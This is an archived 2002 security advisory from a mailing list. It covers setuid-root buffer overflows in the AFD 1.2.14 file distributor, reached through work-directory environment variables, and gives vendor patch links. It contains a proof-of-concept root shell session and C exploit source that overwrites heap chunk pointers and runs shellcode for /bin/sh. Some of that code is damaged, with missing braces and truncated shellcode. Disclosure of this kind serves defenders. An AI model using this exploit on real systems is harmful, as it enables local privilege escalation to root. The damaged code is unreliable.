[UNIX] AFD Multiple Local Root Compromises

From: support@securiteam.com
Date: 09/05/02

From: support@securiteam.com
To: list@securiteam.com
Date: Thu,  5 Sep 2002 14:42:57 +0200 (CEST)

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  AFD Multiple Local Root Compromises


The Automatic File Distributor provides a framework for very flexible,
non-stop, log and debug-able delivery of an arbitrary amount of files to
multiple recipients as expressed in URLs. The AFD package comes with a few
sources that once compiled and installed are set uid root by default.

Multiple security vulnerabilities in the code allow attackers to cause it
to execute arbitrary code.


Vulnerable systems:
 * AFD version 1.2.14

Among other vulnerabilities, in the beginning of most of these programs a
directory is needed. This can be supplied with a command line switch (-w)
or an environment variable. The vulnerable code for most looks like:

#define MON_WD_ENV_NAME "MON_WORK_DIR" /* Environment variable */
#define WD_ENV_NAME "AFD_WORK_DIR" /* The working dir- */
/* work_dir is global in some sources, local in other sources */
char work_dir[MAX_PATH_LENGTH];

main(int argc, char *argv[])
/* work_dir is global in some sources, local in other sources */
char work_dir[MAX_PATH_LENGTH];
/* might call some other function that then calls this function */
if (get_XXX_path(&argc, argv, work_dir) < 0)

/* the XXX is either 'mon' or 'afd' */
/* this function is in another file then main() is */
get_XXX_path(int *argc, char *argv[], char *work_dir)
char *ptr;

/* Check if the environment variable is set */
/* if ((ptr = getenv(MON_WD_ENV_NAME)) != NULL) <-- can also be this */
if ((ptr = getenv(WD_ENV_NAME)) != NULL)
(void)strcpy(work_dir, ptr);

As you can see the buffer work_dir is overflowed, and a stack or heap
overflow occurs (depends if work_dir is global or local). With some of the
binaries, it is possible to cause the same overflow with the command line
switch -w, but in other binaries, that length is checked.

The following is a listing of the vulnerable suid binaries, and if they
are exploitable with the environment variables and/or the -w command line

name -w switch env. var
afd NO YES
afdcmd NO YES
afd_ctrl NO YES
init_afd NO YES
mafd YES YES
mon_ctrl YES YES
show_olog NO YES
udc NO YES

Vulnerable systems:
Version - Vulnerable - Exploitable
 * Linux 1.3.x up to 2.4.x - YES - YES
 * Solaris 2.x - probably (not tested) - probably (not tested)
 * HP-UX 10.x up to 11.x - probably (not tested) - probably (not tested)
 * IRIX 5.3 and 6.x - probably (not tested) - probably (not tested)
 * AIX 4.3 - probably (not tested) - probably (not tested)
 * FTX 3.0.x up to 3.2.x - probably (not tested) - probably (not tested)
 * SCO OpenServer Release 5 - probably (not tested) - probably (not

This vulnerability was discovered in the AFD 1.2.14 package but previous
versions are probably vulnerable too.

Proof of concept:
[eSDee@/ bin]$ id
uid=502(eSDee) gid=500(trusted) groups=500(trusted)
[eSDee@/ bin]$ ./afd-expl
AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
Ret = 0x0806f020
Retloc = 0xbfffe360
28 17:32:12 <E> Failed to create directory <Ű
ectory (check_dir.c 66)
sh-2.05a# id
uid=0(root) gid=500(trusted) groups=500(trusted)
sh-2.05a# exit

Vendor response:
We got a reply from the vendor within 1 week that patches were made.

There is a new version released of AFD (1.2.15) that can be downloaded
[Source] <ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2>
[RPM] <ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm>

There is also a patch released for version 1.2.14 that can be found on:
[Patch] <ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2>

/* AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
 * (Bug found by Sacrine (sacrine@netric.org)
 * -----------------------------------------------------------------
 * usage: ./afd-expl [retloc] [ret]
 * This exploit overwrites a saved return address on the stack,
 * so that 0xbfffe360, (that worked for me on Redhat 7.3) will
 * probally not work for you...
 * Just open the coredump, search the stack for 0x4207ac24,
 * and substract that address with 0x0c.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] =
        "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh;
exit(0); */

main(int argc, char *argv[])
char buffer[1135];

unsigned int retloc = 0xbfffe360;
unsigned int ret = 0x0806f020; /* &shellcode */

if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
if (argc > 2) ret = strtoul(argv[2], &argv[2], 16);

memset(buffer, 0x41, sizeof(buffer));
memcpy(buffer, "MON_WORK_DIR=",13);
memcpy(buffer+13, shellcode, strlen(shellcode));

buffer[1117] = 0xff; /* prev_size */
buffer[1118] = 0xff;
buffer[1119] = 0xff;
buffer[1120] = 0xff;

buffer[1121] = 0xfc; /* size field */
buffer[1122] = 0xff;
buffer[1123] = 0xff;
buffer[1124] = 0xff;

buffer[1126] = (retloc & 0x000000ff); /* FD */
buffer[1127] = (retloc & 0x0000ff00) >> 8;
buffer[1128] = (retloc & 0x00ff0000) >> 16;
buffer[1129] = (retloc & 0xff000000) >> 24;

buffer[1130] = (ret & 0x000000ff); /* BK */
buffer[1131] = (ret & 0x0000ff00) >> 8;
buffer[1132] = (ret & 0x00ff0000) >> 16;
buffer[1133] = (ret & 0xff000000) >> 24;

buffer[1134] = 0x0;

fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric
fprintf(stdout, "Ret = 0x%08x\n", ret);
fprintf(stdout, "Retloc = 0x%08x\n", retloc);

execl("/bin/mon_ctrl", "mon_ctrl", NULL);
return 0;


The information has been provided by <mailto:sacrine@zworg.com> Bert


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